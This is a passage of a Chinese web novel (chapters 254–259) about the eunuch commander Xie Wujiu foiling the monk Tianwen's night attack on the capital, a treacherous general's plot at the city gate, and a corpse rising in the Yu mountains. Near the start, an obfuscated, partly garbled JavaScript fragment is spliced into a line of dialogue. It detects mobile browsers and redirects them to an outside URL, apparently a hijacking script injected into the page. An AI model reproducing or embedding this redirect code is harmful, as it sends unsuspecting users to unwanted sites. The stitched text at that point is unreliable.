将昭德帝身边的两个影卫派到安王身边,今天晚上,天问大师刚一抵达安王屋中,这个消息便立刻往东厂传了过来。 时间虽然算不上充足,但谢无咎也不是全无准备。 他今晚说出的话真真假假,但唯有眼下,对着隐竹的时候,谢无咎多少还是泄露了一点更深处的情绪。 毕竟,这是和自己一道出生入死过的人。 可惜,人心易改。 隐竹半死不活地垂着脑袋,谢无咎的话音落了地,他也没有半分反应,倒是隐翼寒着脸,一把捏住他的下巴,迫使隐竹抬起头来。 “别装死!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897972|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沉声低喝,隐翼的语气十分地不客气。 身为主子的手下,还曾经是主子最信任的人,隐竹竟然吃里扒外! 简直是不可饶恕! 哆嗦了一下,隐竹幽幽地睁开双眼,看着眼前的一切,并没有半点意外或陌生的情绪。 看样子是早就醒了。 “说说吧。” 早在隐竹抬眼的那一瞬间,谢无咎便整理好了自己那点情绪,对上他幽幽的眼神之时,已经重新变得笑眯眯的。 隐竹咳嗽两声,嘴一张,先朝着地上吐出了一大口血。 “我,我没什么可说的……” 他语气发虚,嗓音也沙哑粗粝,一听就是受了很重的内伤,时日无多了。 “我的确是背叛了主子,我该死,就请主子看在属下过往兢兢业业的份儿上,给属下一个痛快吧!” 声音虽然虚弱,隐竹的口气却是铿锵有力的。 隐月听着他这话就来气,上前一脚踹过去,鼻子不是鼻子,眼睛不是眼睛地指着隐竹的鼻子。 “你这是还不觉得自己有错,是不是?” 都在刺探主子的行为了,这隐竹是怎么还能做到如此大义凛然的? 不知道的,还以为是主子的错呢! 隐竹又被这一脚踢得吐出一口血,再看向隐月的时候,眼神虽然迷离,但眼底却是带着恨的。 “主子……误入歧途,你们这些人身为下属,竟然不加以劝阻,听之任之,放任主子在错误的道路上越走越远!你们这些软骨头!呸!” 他又是一口带血的唾沫喷出,隐月后退两步,神情惊疑不定。 “……你是什么时候疯的?”他忍无可忍地问道。 主子要走哪条路,他们这些当手下的要置喙什么? 隐竹又轻笑了一声,听着十分费力。 “我——” “行了。” 他正要开口,从旁边忽然伸出来一只手。 谢无咎毫不留情地捏住隐竹半张着的两片嘴唇,眼底全是嫌恶。 “时间拖延得差不多了,你快闭嘴吧。” 第二百五十四章 怎么什么都没有发生? 听着他这话,天问大师忽然就皱起了眉头。 怎么又是一个拖延时间的? 谢无咎面上倒是挂起了一丝微笑。 “大师——哦不,大秃,您不觉得现在的京城有点太安静了吗?” 天问大师的表情顿时变了变,好像在隐忍着什么似的。 他飞快地抬起头朝着天空看去,漫天繁星璀璨,落在天问大师眼中,却好似是一片无边无际的——黯淡! 天问大师的眉头用力地皱了起来。 今晚的计划虽然在白云观那边出了些意外,但围城的南疆军还是按照正常的时间朝京城发了兵,算算时间,这个时候怎么也应该靠到城墙之外了。 可眼下,周遭却是一片无边的寂静,没有任何能预示着南疆军已经进城的信号和声音。 “你做了什么?” 天问大师这会儿终于有些不淡定了,“你怎么知道?” 谢无咎双手背在身后,一脸的老神在在。 “你猜?说不定,大秃身边也有本督精心埋下的人手呢?” “你这是信口开河!”天问大师想也不想地反驳了回去。 在他出现在京城之前,谢无咎就是想破脑袋,恐怕都想不到有他这么一个人的存在吧。 可……万一谢无咎的话说的是真的呢? 天问大师的眼神又一次朝着夜空看了过去。 谢无咎笑而不语,稳稳立在原地,看着眼神游移不定的天问大师,手心里却捏着一把冷汗。 外面的确没有敌军的声音。 也没有谢逸等人得手的信号。 到底怎么回事? —— 半个时辰前。 谢逸带着几个手下站在城墙之上,眺望着远处漆黑一片的山林。 天太黑了,从他们的角度,什么都看不到。 “呃,谢侍卫?” 听着渐渐靠近的脚步声,还有小心翼翼的问话,谢逸收回目光,转头看向正一脸不安,站在自己身侧的五城兵马司将军。 “郑将军有何要事?”谢逸的语气有些淡淡的。 这位郑将军便是统领城墙兵力的总将,不过,却也是个半路上马的。 原本镇守在此的是宋将军,霍澜将军的直系属下,宋将军从出事那天便带着人在城上巡逻守卫,坚持了一个多月,终于在几天前身心俱疲,虚劳过度,巡逻时一头栽倒,听说至今还未醒来。 霍澜将军要留守城中,分不开身,无奈之下,只能选了这位郑将军来接手。 在城上每日巡逻是件辛苦的差事,郑将军初来乍到,又对一应事务不够熟悉,几乎是整日整夜地睁着眼睛打理上下。 这样的差事的确辛苦,可谢逸近来冷眼旁观了几日,只觉得这郑将军的风格,实在是让他无法恭维。 那南疆的十五万大军一直不知道藏在什么地方,为此京城只能全天戒严,城墙上的巡逻队也不能休止。 按照谢逸惯常的做法,手下人先分成两大队,再各自分成若干小队,小队整日循环,大队隔日循环,如此一来,至少能让手下有睡个整觉的时间。 但郑将军却足足分出了一百五十支小队,按顺序轮流巡逻,轮到最后一支再转回开头。 这数量已经够让人头晕的了,更关键的是,京城有四个城门,而这四个城门共用了这套小队的编号! 饶是谢逸一直认为自己的脑子足够灵活,也在城墙上旁观了好几圈,才勉强弄明白这套系统是怎么运转的。 太费力了。 光是四门的排班表就写了十几张,往往还没找到该谁轮值,时间就已经不明不白地过去了。 还有那一百五十个小队长,汇报起情况来,比池塘里的鸭子还喧嚣! 更别说他们也会弄错了! 谢逸试图和这位郑将军沟通,却发现此人是个地道的滚刀肉。 面对谢逸提出的想法,郑将军一律连连点头,转头就全部搁置到一旁,绝不取用,继续一头官司地推进着这一百五十个小队混乱旋转。 谁让他顶着的身份,只是九千岁身边的侍卫呢? 这郑将军自持身份,就要眼高于顶,谢逸也不能在明面上跟他起什么冲突。 好在宫中马上要调派一批人手增援,谢逸就等着他们过来,打乱重组队伍的时候再发难。 想到这儿,谢逸又叹了口气。 “谢侍卫?您在听吗?” 谢逸惆怅着的这会儿功夫,郑将军一直在说着什么,却一直没能得到回应,直到他看着谢逸眉头紧皱,开始自顾自地叹气,这才停下了喋喋不休的嘴巴,又朝前走了两步。 “本将的打算,您觉得如何?” 什么打算? 而且他当然没有在听了。 回过神来,看着郑将军那表面等待,实则不耐的表情,谢逸熟练地扯出一个假笑。 “在下以为不妥,不若将军还是回去,再仔细想想?” 这些天来,郑将军已经跟他说了不知道多少个奇思妙想。 谢逸一一听过,再简而言之—— 异想天开! “怎么会呢?” 听得谢逸如此不客气的回应,郑将军嘴角的笑容先是一垮,而后又难以置信地看了过来。 “本将觉得这个主意甚好啊!”他一脸的理直气壮,“圣上调派的肯定都是高手,让他们来当小队长,岂不是正好合适?多出来的就编成额外的小队,看哪里有问题就补上!谢侍卫,你觉得哪里有问题?” 谢逸从刚才开始就没打算问,他知道这位郑将军肯定会自己再说一遍的。 可就算如此,亲耳听到这番话,谢逸还是眼前发黑! 把宫中的精锐打散当这一百五十个小队长? 亏这位郑将军说得出来! “郑将军。” 眼前的人还在梗着脖子等一个回答,谢逸闭了闭眼,开口时语气多少有些虚弱无力。 他却说:“敢问令尊在什么地方高就?” 郑将军闻言愣住了,抬头看着谢逸的表情,“怎么了?” 直觉告诉他,这应该不是什么好话。 谢逸皮笑肉不笑地扯了扯嘴角。 “没什么,只是觉得将军实在是思路清奇,若非令尊也在朝为官,得了指点,在下实在是想不出将军还有什么可能站在这里。” 此话说完,郑将军足足愣了几息,才犹豫着回过神来。 第二百五十五章 你猜? “你是不是在骂我?”他压低声音质问,顺便涨红了脸色。 谢逸将双手一摊,瞪大了眼睛,表情十分无辜。 “怎么会呢?小的怎么敢骂您?只是好奇而已。” 好奇这位是不是有个好爹一路保驾护航,才把如此的一个蠢货送到了将军的位置上? 这样的手法在五城兵马司也算传统,谢逸越是这么说,郑将军的表情就越是难看。 他咬牙切齿地瞪着谢逸,后退两步,忽然抬手指着他的鼻子。 “你算什么东西?”郑将军开始破口大骂,“不过是九千岁身边的一条狗,连官身都没有的货色,竟然敢嘲讽本将军?” 这话说得相当难听,谢逸的表情也沉了下来。 “我是条狗,你的脑子还没狗好用,靠得哪个爹啊?”他抱着双臂冷笑一声。 郑将军显然又愣住了,一双眼直勾勾地看着谢逸,先是半懂不懂,随后眉头一竖,表情又变得凶悍起来。 “你这条狗,有什么资格教训我?”他大喝一声,“来人,来人啊!” “郑将军!” 这位越闹越不像话,谢逸正色下去,语气也跟着压低,“你可还记得现在是什么时候?” 这般在城墙上大吵大闹,难道是担心外面的南疆大军发现不了对方正在内讧吗? “我管你什么时候!” 郑将军却还在嚷嚷,那身大少爷气派全都散发了出来,不管不顾地扯着嗓子,“来人,现在就把这个贱奴才给本将军拿——”下! 他的声音越来越响,谢逸眉头紧皱,上前便一把死死捂住了郑将军的嘴。 “别喊了!”谢逸的语气也变得肃杀,“若是惊动了外面,你——” 谢逸的这句话也没说完,他在郑将军眼中看到了一丝一闪而过的杀意! 不对劲! 谢逸浑身上下的冷汗忽然之间就全都下来了,他下意识地一把将郑将军推开,动作做完的一瞬间,一点雪亮的银芒从他眼中划过! 这姓郑的果然有问题! “你是何人?” 险险躲开这郑将军的第一击,谢逸后退两步,表情变得十分阴沉。 在他眼中,方才还一副纨绔大少派头的郑将军的脸色也变了,咧着嘴笑了笑,凶狠又毒辣。 “果然是狗,嗅觉还挺灵敏!” 嘲讽一声,郑将军抬手一晃,握紧了匕首再次朝着谢逸扑了过来! “不过没用,受死吧!” “这话说给你自己听!”谢逸也不客气地迎了上去! 原来这些天里,这郑将军一直都在处心积虑地装傻充愣! 难怪他要频频对巡城的队伍下手,这是另有打算! 两人很快打在一处,交上手,谢逸又吃了一惊。 此人好厉害的内力! 郑将军一招一式皆是毒辣万分,谢逸试着空手接了一掌,半条手臂都跟着麻木了起来。 “来啊,有本事就打败我?” 对自己的身手显然是非常满意,郑将军又狞笑起来,匕首一扫,在谢逸还没收回的小臂上又添了一道新伤! 鲜血溢出,谢逸捂着胳膊后退两步,表情变得惊疑不定。 就算他再怎么分心,也不该躲不开这简简单单的一招—— 不对,不对! “想明白了?” 郑将军笑得一脸不怀好意,与此同时,谢逸也感到越来越严重的晕眩顺着脑袋不住地朝全身蔓延! “你这个贱人!”他终于忍不住低骂了一声。 手脚发软,浑身无力,谢逸用力扶住身后的城墙,却还是控制不住自己发沉的眼皮。 用尽力气伸手摸向怀中,谢逸的动作做到一半,又被郑将军一脚将手里的信号踢翻在地! “想叫你的同伙过来?那可不行。” 依旧是笑容满面,郑将军将控制不住倒下的谢逸踩在脚下,抱起双臂,笑得得意万分。 “你不觉得这里很安静吗?如果没有把握,我会一个人上来跟你见面吗?” 方才还恪尽职守站在城墙上的兵士们不知道什么时候都不见了,谢逸打起最后一点精神,模模糊糊地想起,刚才好像是到了换岗的时间…… “你,你是什么人?”他咬紧牙关,费力地盯着郑将军的脸。 郑将军弯下腰,大大方方地任由他看。 “你猜?” 眼前的黑色越来越浓重,谢逸不甘地又挣动了两下,终于熬不过药效,脑袋一歪就昏了过去。 确定他一动不动,真的没了反抗的能力,郑将军这才冷笑着收回自己的靴子,又不轻不重地在谢逸脸上踩了踩。 “哼,都说九千岁神机妙算,无所不知,我看,也不过如此嘛。” 不屑地撇着嘴,郑将军一脚将谢逸踢开,反手掏出一个哨子,放在嘴边长长短短地吹了几声。 很快,不远处的树林里就传来了星星点点的亮光做回应。 外面已经准备好了。 里面也是。 这座城门已经被郑将军轮空了,那一百五十支小队乱得团团转,没有人会发现出了纰漏的。 现在,只要他打开城门,一切就都大功告成—— “哟?忙着呢?” 一道声音猝不及防地从暗中传来,郑将军浑身猛地一哆嗦! “什么人?”他朝着黑暗中看了过去。 “唔,你猜?” 来人的语气依旧带着调侃,郑将军却能从中感受到无尽的恶意。 城墙上每隔几步就挂着灯笼,那人很快走到光线下,一身白衣煞是显眼。 郑将军不错眼珠地看着这位,确认自己从来没有见过他。 岑灵川也学着他的样子,夸张地瞪大眼睛,上下打量着眼前的这位。 他顺着城外徐将军给的线索,没有在应有的地方找到南疆大军,倒是发现了他们拔营前进的痕迹。 让这些人兵临京城之下,那还得了? 岑灵川连消息都不敢发,生怕惊扰了这支要命的队伍,一路疯狂赶路,终于赶在大军之前摸到了京城的城墙。 高大的城门防不住他,岑灵川刚翻到上面,想找个靠谱的将军管事,却不想,就这么将谢逸和郑将军的一番交谈全都听到了耳中。 “郑将军是吧?好歹也是大梁人,又是个将军,你说你,日子过得好好的,为什么要给一个秃子和南疆人当狗?” 第二百五十六章 大军将至,你想办法! “你——!”郑将军的脸色又开始涨红了。 和方才面对谢逸时的装模作样不同,这忽然出现在眼前的人让郑将军打起了十二万分的警惕。 一来此人行踪鬼魅,二来,郑将军在他身上闻到了一丝高手的气息。 “你是什么人?”眉头一皱,他再次开口。 “你怎么就会说这么一句话啊?” 岑灵川嗤笑一声,摇着头,表情十分不屑。 “除了你主子的死对头,还有谁会闲得无聊,派人来给你们作对添堵?” 岑灵川深谙胡说之道,嘴上坚决不能有把门的,他这么一番话落下,没有透露半点有用的内容,却成功地让郑将军的表情变得无比阴沉。 “你是谢无咎的手下?” 刚对谢无咎不屑过,郑将军的脸上这会儿有些火辣辣的。 “对啊!” 眼珠子一转,岑灵川的笑容变得不怀好意,“怎么样,现在不说我们大人不过如此了?” 果然! 郑将军沉着一张脸,二话不说就朝着岑灵川冲了过去! “呵。”岑灵川脚下一点,身形轻灵地从郑将军面前闪到几步开外的地方。 “小子,你手里那药可不是什么好东西。” 单脚落在篝火架上,岑灵川居高临下地望着郑将军,用另一只脚点了点他的袖子。 郑将军下意识地转动手腕,反应过来,又死死地咬紧了牙关。 “不过你也不是什么好东西,正好搭配!” 岑灵川这话说出,郑将军的呼吸无疑又变得粗重了几分,可下一刻,他便立刻重重地被按倒在地! 徒然地瞪大了双眼,郑将军压根没有看清眼前人的动作,喉咙便被一把扼住,顿时感到一阵天旋地转。 这人好快的身手! 一击的中,岑灵川也悄悄地松了口气,一把将郑将军袖管里的迷药揪出来扔到一旁,反手一个大耳光又扇了上去! “废话了这么多,终于抓住你了,”他手上用力,“说,退后的信号是什么?” 郑将军已经发出了信号,那些南疆军队就在京城之外,用不了多少时间,就要过来了! “赶紧说!”岑灵川的语气也变得急促了些。 让他对付几个高手还行,这带兵打仗的事情,他可一窍不通! 城楼上下的人都被眼前这位支开了,他连个帮手都找不到! 察觉到岑灵川的情绪变化,郑将军却又咧开嘴,嘿嘿地笑了起来。 “你猜?” 又是这句! 岑灵川冷着脸挥起拳头,一拳下去,郑将军满口的牙都跟着松动了几分。 “赶紧说,不然我让你后悔生下来!”他阴冷着声音威胁。 郑将军却又笑了笑,下一刻眼神一凝,嘴角溢出黑色的血迹,竟然就这么服毒自尽了。 “没种的怂货!” 一把丢开郑将军的尸体,岑灵川暴躁地挠了挠脑袋,又大步走到谢逸身边,抬手啪啪地扇起了他的耳光。 “别睡了!醒醒!出大事了!” 谢逸硬生生被扇得醒了过来,脸上写满迷茫,又在最快的速度中回过神,猛地跳起来要和眼前人厮打。 “停!自己人!” 岑灵川抱头鼠窜,一边语速飞快,“我是叶晚竹的师兄,来帮忙的!” 师兄? 谢逸的拳头停顿了一瞬,有些犹豫地看过去。 威远王还有师兄? “南疆大军马上就要到了!”岑灵川抓紧这个机会朝城下一指,“我不会打仗,没来过京城,什么都不知道,你赶紧想办法!” 谢逸闻言不由自主地转过头去,城墙之下,密密麻麻的黑影已经逐渐现了身,正在靠近。 南疆大军真的来了! 猛地打了个激灵,谢逸一跃而起,“我去找人!你,你在这儿顶住!” 他得赶快调兵,让五城兵马司的将士们过来守城,还得去给主子报信! “我顶住?” 岑灵川差点儿把一双眼珠子都瞪出来! 他怎么顶住? “你想想办法!”谢逸这个时候已经飞身离开,只留下一句消散在半空中的无礼要求。 岑灵川又气歪了鼻子,想说什么,最后还是一跺脚! 他得想办法! 甲胄沉重的摩擦声已经传来,南疆大军越来越近,岑灵川环顾四周,先找到了控制护城河吊桥的铰链轮盘。 那郑将军的安排非常周密,吊桥稳稳地躺在河道上,正对着黑黝黝的高大城门。 岑灵川双手抓住轮盘,用力一拧! 坏的! 半截铰链脱出,他咬牙切齿地无声咒骂着! 他就知道! 这条吃里扒外的狗! 忍不住愤愤地瞪着郑将军的尸体,岑灵川忽然又想到了什么,大步扑倒在他身上,胡乱地摸索着。 哨子! 幸好郑将军死得太快,没来得及对这唯一的交流工具做什么手脚,岑灵川捏着那个精致的哨子站起身来,看着已经靠近了城墙的黑色队伍,用力攥了攥拳头。 后退的信号是什么? 不知道。 试吧! 反正靠近的信号他听见了! 心一横,岑灵川将哨子放进口中,闭着眼睛长长短短地随便吹了一个信号! 城墙之下,正在稳步靠近的南疆队伍之中,领头的将军忽然一皱眉。 这是什么信号? 他抬手一挥,身后的队伍立刻停下了脚步。 领头的将军探着脑袋,往空无一人的城墙上望了过去。 一个黑漆漆的影子裹在灯笼下方的暗影里,似乎也在朝着这边看来。 下一刻,哨声再次响起,将军又愣住了。 到底是什么情况? —— 哨子的声音无法穿越这么远的距离,传到东厂众人的耳中,再加上郑将军的哨子是特制的,更是连城墙附近的将士们也听不见。 若不是谢逸现身,他们对今晚城门上发生的事情还一无所知! 五城兵马司的队伍一支支地朝着事发地点狂奔而去,霍澜将军也听到消息,一边大骂一边增派兵力。 谢逸这才又往东厂之中赶了过去。 出了这样的意外,不知道会不会影响到主子那边的情况? 他一路狂奔的同时,东厂门前的对峙刚刚单方面地结束。 天问大师猛地倒吸一口凉气,毫无征兆,纵身就跑! 第二百五十七章 你是怎么知道的? 谢无咎愣了一瞬,才跟着冲了出去:“站住!” 不知道外面是什么情况,谢无咎也不敢太过大意,和天问大师继续说着车轱辘话,双方都在等待。 可这大秃子,一句话还没说完,忽然跳起来就跑! 这是怎么了? 纵身一跃而起,谢无咎紧紧跟在天问大师身后,而在他下方,不少黑衣人已经现身,和东厂的人瞬间便打在了一处。 深夜的寂静氛围终于被打破,随着天问大师的身形移动,城中的混乱也开始进入谢无咎的耳中。 自从京城出事,夜里的街上就有了宵禁,这会儿却到处都是奔跑着的人。 火把油灯齐聚,谢无咎抽空低头看了一眼,发现街上的人并不都是兵士,而是大半都穿着百姓的衣裳。 人人看上去都惊慌万分,茫然地到处乱跑,好像没头苍蝇似的。 顺着这些百姓的身后再看过去,又是不少恶人追在他们身后,一脸的凶神恶煞,手中还高高地举着武器。 这些恶人数量很多,三五成群地混在惊惶的百姓之中,看到哪里人多就去作乱。 他们也都是平民百姓的装扮,眼见官兵往这边走便立刻收起武器散开,瞬间便如同泥牛入水,化得无影无踪。 谢无咎打眼一瞧,就已经看见了不少巡城司的将士被耍得团团转,本就要费力维护的秩序,这下更是乱得出奇。 果然,这天问大师果然没安好心! 不出声地骂着,谢无咎脚下发力,又朝着天问大师的背影猛追了过去。 “先前在景平王府门前,也是你吧?” 灰色的背影越看越熟悉,谢无咎扬声朝着前方喊道。 天问大师并未回应,逃跑的速度却又快了几分。 冷笑着,谢无咎反手摸出一道信号丢上天空,鲜艳的色泽炸开,京中各处也同时跟着起了些变化。 身着甲胄的兵士们不知道从什么地方纷纷冲了出来,将四处乱跑的人群往几条宽敞的京城大道上引。 “点灯!举起手,有武器的人立刻投降!” 将士们齐声高喊着,有人已经发现了目标,一把拧住一个一脸鬼点子的汉子将他按在墙上。 一把匕首立刻从他怀里掉了出来。 今晚,有准备的可不止天问大师一个人! 看着下方的局势不再一边倒地混乱,天问大师的脸色又变得阴沉,脚下的动作也不由得慢了几分—— “站住!” “去哪儿啊?” 黑影闪现,谢尔和谢三一左一右地冲了出来。 两人都挂着不怀好意的笑容,天问大师一个激灵,身形闪动就要往旁边晃去! “本督劝你赶紧停手投降,不要白费力气了。”谢无咎微微放轻了几分语气。 天问大师脚下又是一顿,眼睁睁地看着谢无咎一个纵身飞到了他身前,将他逃跑的路彻底截断了。 “竖子,你太狂妄了!” 天问大师冷冰冰地盯着谢无咎,嘴唇蠕动,似乎想骂些什么,最后却还是表达得相当客气。 四人缓缓降落在一座屋子的房顶上,下方的脚步声和吵闹声也变得更近了一些。 谢尔谢三大步上前,挡在天问大师身侧,另一边,隐月和隐翼也慢一步追了上来。 这两人都浑身是血,一脸杀气腾腾,显然刚刚经历过一场大战。 “主子,混入东厂的叛党已经被我等全部诛杀!”隐月一边说着话,一边抬着下巴朝天问大师看了一眼,“一个不留!” 天问大师冷冷地回看过去,眼中一片冷意。 谢无咎这时候带着笑意摊开双手,表情十分坦然。 “大秃想说什么?本督洗耳恭听。” 沉默片刻,天问大师还是忍不住开了口。 “你怎么会知道今天晚上的安排?” 城外的大军调动还有迹象可言,可城里的乱子,这人又是怎么知道的? 天问大师的表情变得非常难看。 难道这九千岁,也有什么特殊的本事? 迎上他探究的眼神,谢无咎的笑容越发从容。 “本督不是说过了吗?大秃你能干的事情,本督当然也能干。” 他一口一个大秃,听得天问大师眼皮子直跳,又干巴巴地哼了一声,“这不可能。” “大秃不信?”谢无咎挑了挑眉,“那就算了。” 他一副漫不经心的态度,还耸了耸肩,天问大师不由得又在心里犯起了嘀咕。 他身边的人…… “嗯?你怎么相信了?” 无比惊讶的声音传来,天问大师一抬眼,便和谢无咎笑吟吟,又暗含嘲讽的眼神撞了个正着! “本督当然是说假话的,我可舍不得让我的手下剃光了脑袋,到你手下去当小秃驴。” “……你耍我!”天问大师明白过来,气得脸色又开始泛红。 “耍你又怎么样?” 谢无咎却将笑脸猛地一收,忽然之间,周身的气势便肃杀了起来。 “立刻老实受缚,否则——” “砰!” 话刚说到这儿,一声炸响从城门方向传来,几人同时觉得脚下的房顶都跟着摇了摇! 刺眼的光芒也随之亮起,天问大师看了一眼,立刻跳起来跃上高空,一脚踹开隐翼,转头就跑! 城门炸了! 他还有机会! —— “孙子!来啊,你上来啊!” 与此同时,城墙之上,岑灵川摇摇晃晃地扶着城墙站起身来,拍拍身上的土,朝一河之隔的黑甲将士们挑衅着。 方才他胡乱吹了几声暗号,不仅没有让这帮南疆军后退,反而不知道下达了什么命令,让这帮人齐齐现身,一股脑地要朝城门攻来! 投石机,登云梯都被岑灵川收入眼底,这帮人是早有准备! 不能让他们靠近城墙! 就是在这个时候,一位霍澜将军急匆匆地冲了上来,伸头看了一眼城下的情况,二话不说就朝着跟随而来的将士们伸手一指。 “炸吊桥!” 这是他们的最后一次机会了! 幸亏还赶得上! 硝烟散开,吊桥落入水中,城下的南疆将军心知中计,眉头紧皱,表情十分难看。 他抬头努力地辨认着城墙上的几张人脸,忽然神情一变! “谁?” 第二百五十八章 今夜计划失败 挑衅的话说到一半,岑灵川忽然感到背后又是一凉,还没来得及反应,身体已经先一步有所行动,侧身一闪而过! 在他方才站着的地方,一道气劲猛地盘旋击出,瞬间就将立在城墙上的旗杆打断! “什么人?” “警戒!” 霍澜将军慢了一步才反应过来,转头看去,对上了一道灰色的身影。 “又是你?” 岑灵川看着天问大师这张熟悉的脸,又上下打量了一番他变得有些狼狈的神情,轻声发笑,“怎么,看来你在京城也没有讨到什么便宜嘛。” 天问大师无疑也认出了眼前这位,他眉头微皱,表情也变得难看。 城门没开,还被此人守住,他又失算了。 怎么会这样? 天问大师再次抬头望向天空,打了一夜,这会儿天边已经翻起了鱼肚白,仅剩的几颗星星挂在天幕,也变得半明半暗。 “祈祷呢?”岑灵川见状又冷笑起来,“有本事,你能把这城门祈祷开吗?” 都要对峙阵前,殊死一搏了,这位抬个脑袋是什么意思? “不可妄语。” 天问大师收回目光,语气淡淡。 “你居然好意思让别人不可妄语?” 岑灵川闻言瞪大了眼睛,而后哈地笑了一声,“你是不是逃跑了一晚上,把脑子跑没了?最能胡说八道,口出狂言的人,不就站在这儿吗?” “看你一身打扮,应该是出家人吧?不想着清净修炼,纠集了一窝牛鬼蛇神,来攻击皇城,你这和尚当得有什么意思?对凡俗如此眷恋,不合格啊大师。” 天问大师的脸色便又变得难看了几分。 “天清子的徒弟,还是这么有个性。”他盯着岑灵川打量一番,忽然慢慢张口吐出一句话来。 岑灵川不羁的表情一收。 “你认识我师傅?”他也定定地看了过去,表情首次变得认真了几分。 天问大师但笑不语,眼神忽然往自己身后瞟了一下。 风声响起,谢无咎带着手下马上就要到了。 “我不仅认识天清子,还知道她的死另有隐情。” “你想知道,就来找我吧。” 丢下两句轻飘飘的话,天问大师抬脚跃上城墙,而后便仿佛被晨光吞没一般,身形慢慢消失在天空之中。 城下的南疆大军们都看傻了眼,一片雾气里,只传来天问大师一声淡淡的号令。 “撤退。” 京中闹不起来,城门也破不开,今天晚上,他的计划不成了。 得另做打算。 天问大师消失,城外的队伍也开始撤退。 天亮仿佛只是一瞬间的事情,太阳缓缓升起,下方空旷一片,黑夜中的一切都好像没有发生过似的。 霍澜将军手执长剑站在城墙之上,一脸茫然地看着前方,着实有些回不过神,不明白这一晚上都是怎么回事。 简直是一片混乱! 可他马上就转过身,看着匆匆而来的谢无咎,“九千岁!那人跑了!” 这莫名其妙出现在城墙上的秃子又是谁? “我知道。” 谢无咎也皱着眉头,探身看了一眼下方的狼藉,目光又落在了一旁的岑灵川身上。 “我是叶晚竹的师兄。” 不等谢无咎问话,他无比熟练地自报家门。 谢无咎闻言一震,“她在哪里?” 这问话的语气透着急迫,终于让还在沉思的岑灵川回过神来。 “你又是何人?” “啊——” 谢无咎正要开口,岑灵川眼神一闪,露出了一个恍然大悟的表情,“你就是九千岁谢无咎吧?现在不是说话的时候,师妹她们在禹山脚下,还有一队大军,领头的将军姓徐,是你们的自己人吧?” 听见这个名字,谢无咎松了口气,点头称是。 “那就好,”岑灵川也松了口气,“刚才那个大师没安好心,既然你来了,那我——” “我去追人。” 岑灵川的话还没说完,便又被谢无咎打断了。 谢无咎深吸一口气,冷冷地望着禹山的方向。 他先前被那条密道引导着去了禹山之上,被天问大师留下来的纸条一番挑衅,后来又派人去搜了不少次,却从来没有发现叶晚竹的踪迹。 看天问大师离开的方向,正是禹山,谢无咎想,这个地方应该十分重要,否则不会有这么多的机关。 “我去追人,”他又重复了一遍,转头看向霍澜,“霍将军,京城就交给你和狄文将军了!圣上被方才那秃子所伤,太医正在处理,不能见人,一切事务,你二人商量着办!” 安王受了那么大的惊吓,还漏了馅,谢无咎思忖片刻,还是别再折腾这位才好。 万一又漏得更多,那就麻烦了。 霍澜将军听了第一句还有些心事重重,等听到圣上受伤,顿时瞪起双眼,眉头倒竖! “这个孙子!”他朝着天问大师离开的方向啐了一口,又把胸脯一拍,“九千岁放心,京城就交给我二人!” “要小心,”谢无咎的神情又变得认真了几分,“军中也不是铁板一块。” 那郑将军就是最好的证明。 郑将军的尸体还躺在城墙上,敌军没有打上来,谢无咎看一眼就大概知道发生了什么。 霍澜将军也扭头看去,表情变得沉重了几分。 “末将明白,一定小心行事!” 岑灵川也跟着上前点头,“有不对劲的人,我来处理!” 谢无咎又叮嘱了几句,将一切安排妥当,便带着隐月等人从城墙一跃而下,沿着天问大师刚才消失的方向而去。 禹山之中这会儿情况如何? 天问大师下一步的计划又是什么? 想到这儿,谢无咎便默默地又加快了几分速度。 叶晚竹这会儿还不知道京城里度过了如此惊心动魄的一晚,不过,她这边的情况也同样十分棘手。 毕烽的尸体出了异状,徐将军上前检查时竟然动了起来,叶晚竹出声示警却已经晚了。 徐将军被毕烽一口咬中了脖颈,后者用力之大,甚至让在场之人都听见了骨头的断裂声! 直到中招倒地,徐将军依旧大睁着双眼,里面全是难以置信。 死人……还能复活? 第二百五十九章 死而复生之人 “这是什么情况?” 彼时,眼见着毕烽先是咬断了徐将军的脖颈,而后又一跃而起,朝着周围做出了疯狂攻击的架势,柳寻雁都忍不住瞪大了双眼。 她走南闯北多年,也算见过不少奇怪之事,这死人复活,还真的是头一遭! “这人好像也不能算是活着吧?” 叶晚竹迟疑地看着下方的毕烽。 此人一跃而起之后,动作还十分迅速,先后又咬断了跟在徐将军身边的几个小兵的脖子,凶狠得很。 叶晚竹和柳寻雁只能上树躲避,观察了片刻,叶晚竹实在不觉得下方这位有多少活人的气息。 毕烽浑身上下的血已经流干了,这会儿显得格外地苍白,甚至还有些透明,除了攻击人时动作疯狂而迅速,余下时候都显得踉踉跄跄,呆呆傻傻的。 他也不会爬树,只围着这片区域绕圈子,鼻子抽动,显然是能闻到叶晚竹和柳寻雁的味道。 柳寻雁丢了几根树枝下去,却都没将毕烽引开,倒是让他发现了树上还藏着人,越发围着这棵大树不走了。 “还挺聪明!” 无可奈何地压低了声音,叶晚竹叹了口气。 “你在树上等着,我下去探探情况。”她压低声音,对着柳寻雁的耳朵说话。 “那怎么行?”柳寻雁一皱眉头,“这人十分诡异,瞧着危险。” 方才那位徐将军可是穿着甲胄的,都能被这活死人把脖子一口咬断,叶晚竹身上什么都没有,被毕烽碰一下,恐怕都受不了。 “我去。”定了定神,柳寻雁按住叶晚竹蠢蠢欲动的手。 这回便轮到叶晚竹皱眉头了。 “我不行,师姐你就是钢筋铁骨了?”她抿了抿唇。 柳寻雁一甩头发,“我跑得比你快!” 叶晚竹这下的确哑口无言。 她本就是天清子大师的小徒弟,又蹉跎了几年,至今都没有回到自己全盛时期的状态。 “可——” “别可是了。” 要出口的话又被柳寻雁打断,她检查了一下身上各处的装备,确保万无一失,这才重新朝着叶晚竹看了过来。 “我去引开他,你赶紧想想办法,把这妖怪解决。” 闻言,叶晚竹的目光也朝着下方看去,终是点了点头。 “一切小心。” “放心吧,”柳寻雁轻声一笑,“斩妖除魔之事,本门人人有责!” 话音未落,她身形纵跃,瞬间便从树上冲了出去,猝不及防地出现在毕烽面前! 